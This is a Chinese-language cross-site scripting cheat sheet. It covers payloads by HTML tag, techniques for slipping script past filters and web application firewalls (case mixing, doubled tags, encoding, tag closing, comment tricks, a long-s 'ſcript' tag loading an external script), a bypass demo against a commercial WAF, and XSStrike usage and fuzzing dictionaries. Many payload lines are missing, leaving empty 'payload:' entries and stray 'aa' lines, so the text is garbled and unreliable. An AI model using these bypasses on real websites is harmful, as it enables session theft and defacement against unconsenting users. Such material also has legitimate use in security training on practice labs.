一、常用payload
1、echo
alert(1)";
?>
2、img标签
3、CSS
4、href
标准格式
baidu
XSS利用方式1
aa
aa
aa
XSS利用方式2
aa
XSS利用方式3
aa
XSS利用方式4
aa
5、form标签
XSS利用方式1
6、input标签
标准格式
利用方式1
利用方式2
利用方式4
7、iframe标签
XSS利用方式1
8、svg标签
9、其他
- 事件型还有onbody标签
二、常用的绕过Waf
1、利用大小写绕过
这个绕过方式的出现是因为网站仅仅只过滤了标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。具体的方式就像这样:
2、利用过滤后返回语句再次构成攻击语句来绕过(经常用双写绕过)
有的只过滤了一次script标签,因此可以使用双写来绕过
3、并不是只有script标签才可以插入代码
(1)img标签
就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。
(2)onmouseover事件
-
onmouseover="alert(1)"
,比如- 当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)
(3)onclick事件
onclick="alert(1)"
这个要点击后才能运行代码,条件相对苛刻,就不再详述。(4)onload事件
比如以下代码
function render (input) { let domainRe = /^https?:\/\/www\.segmentfault\.com/ //http...或https.... if (domainRe.test(input)) { //是否包含在input中 return `` } return 'Invalid URL' }
payload:
http://www.segmentfault.com" onload="alert(1)
4、编码脚本绕过关键字过滤
(1)Javascript的编码--eval()函数
\uXXXX
这种写法的Unicode 转义序列,表示一个字符,其中 XXXX 表示一个 16 进制数字,如<的Unicode 编码为\u003c。有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。
例如alert(1)编码过后就是
\u0061\u006c\u0065\u0072\u0074(1)
(对应于ASCII码的十六进制)所以构建出来的攻击语句如下:
(2)HTML实体编码
实体编码字符
(翻译官)
把要转码的先Unicode转换一下,然后后台看到有翻译官会把Unincode编码转回为当初的字符
比如以下代码
function render (input) { const stripBracketsRe = /[()`]/g //正则表达式,看//包裹的内容即可 input = input.replace(stripBracketsRe, '') 把()`替换为空 return input }
payload:
因为控制字符()变成了实体编码因此要使用翻译官才能让()正确发挥控制字符的作用
(3)翻译官(Unicode编码)
function render (input) { input = input.toUpperCase() //把所有的输出内容都大写 return `
${input}
` }payload:
HTML编码或者
Unicode编码
5、主动闭合标签实现注入代码
比如以下代码
function render (input) { return '' }
payload:
">
6、绕过小括号()
在前端中,反引号`可以当作小括号来使用
比如以下代码
function render (input) { const stripBracketsRe = /[()]/g //正则表达式,看//中间的内容即可 input = input.replace(stripBracketsRe, '') //把[()]替换为空 return input }
payload:
7、绕过()`
(1)使用HTML实体编码
如上文所述
8、绕过HTML注释符
有两种注释方法:
比如以下代码
function render (input) { input = input.replace(/-->/g, '') //将-->替换为笑脸 return '' }
payload:使用另一个注释符来畸形进行绕过
--!>
-->
js的注释符,让后面的语句不生效function render (input) { input = input.replace(/["']/g, '') //过滤了< / " ' return ` ` }
xx alert(1) --> js的注释符,让后面的语句不生效
(2)注释符//
// from alf.nu function render (s) { function escapeJs (s) { return String(s) .replace(/\\/g, '\\\\') .replace(/'/g, '\\\'') .replace(/"/g, '\\"') .replace(/`/g, '\\`') .replace(//g, '\\76') .replace(/\//g, '\\/') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t') .replace(/\f/g, '\\f') .replace(/\v/g, '\\v') // .replace(/\b/g, '\\b') .replace(/\0/g, '\\0') } s = escapeJs(s) return ` ` }
payload:
");alert(1)//
通过源码发现一些字符被转义了,就连换行符也被转义了。但是发现竟然还可以用,原因是//虽然被转义成了//,但转义之后还是//,在js中还是注释符(勿与正则混淆)
14、使用古英语
function render (input) { input = input.replace(/<([a-zA-Z])/g, '<_$1') <碰到字母就变成<_ input = input.toUpperCase() return '
' + input + '
' }使用维基百科搜索s,会发现长s,古英语的s
举一反三,碰到其他字母是否也可以用古英语
payload:
<ſcript src='http://127.0.0.1/ABC.JS'>
15、使用伪协议
三、Waf防护与绕过演示
就使用xss-labs这个靶场的第一关和某狗作为演示
分析拦截情况
- 通过去除关键词或关键词的其中某些字母判断拦截了什么关键词,如下正常
- 而如下就不正常了
- 如下正常。说明是匹配了
标签
- 尝试大小写绕过不行后,利用XSS平台,发现后面
的
>
把前面的给包起来了,导致访问的链接拼接了
- 使用引号包裹链接即可
- 使用超链接也可以,但是
猜测也就会检测href,而事实也确实如此,只需要在href前加/即可绕过,也不影响语义,而之所以加/能绕过,是因为在前端中/经常出现在闭合的后标签,加上后就会让waf误以为是结束标签
四、常规Waf绕过思路
[+] 标签语法替换 [+] 特殊符号干扰 比如 / # [+] 提交方式更改 Request的前提下,Waf只检查URL内容而不检查POST内容 [+] 垃圾数据溢出 [+] 加密解密算法 [+] 结合其他漏洞绕过
五、XSS自动化工具
1、Xwaf
下载链接:https://github.com/3xp10it/xwaf
现在作者貌似不再维护该项目了
2、XSStrike
下载链接:https://github.com/s0md3v/XSStrike
XSStrike 主要特点: [+] 反射和 DOM XSS 扫描 [+] 多线程爬虫 [+] Context 分析 [+] 可配置的核心 [+] 检测和规避 WAF [+] 老旧的 JS 库扫描 [+] 智能 payload 生成器 [+] 手工制作的 HTML & JavaScript 解析器 [+] 强大的 fuzzing 引擎 [+] 盲打 XSS 支持 [+] 高效的工作流 [+] 完整的 HTTP 支持 [+] Bruteforce payloads 支持 [+] Payload 编码
相关参数
-h, --help //显示帮助信息 -u, --url //指定目标 URL --data //POST 方式提交内容 -v, --verbose //详细输出 -f, --file //加载自定义 paload 字典 -t, --threads //定义线程数 -l, --level //爬行深度 -t, --encode //定义 payload 编码方式 --json //将 POST 数据视为 JSON --path //测试 URL 路径组件 --seeds //从文件中测试、抓取 URL --fuzzer //测试过滤器和 Web 应用程序防火墙。 --update //更新 --timeout //设置超时时间 --params //指定参数 --crawl //爬行 --proxy //使用代理 --blind //盲测试 --skip //跳过确认提示 --skip-dom //跳过 DOM 扫描 --headers //提供 HTTP 标头 -d, --delay //设置延迟
六、Fuzzing测试
在线生成Fuzzing字典:XSS Fuzzer
Fuzzing字典:https://github.com/TheKingOfDuck/fuzzDicts
七、XSS(带过滤)靶场实战
Xss-labs:https://www.yuque.com/docs/share/ad406668-69f3-4ac4-bde4-ec2ef0f2ae9f?#
Xss靶场通关:https://www.yuque.com/docs/share/e0fb2c24-dbef-4174-8d44-eb6f4a164246?#
Java Xss测试平台:https://gitee.com/yhtmxl/imxss/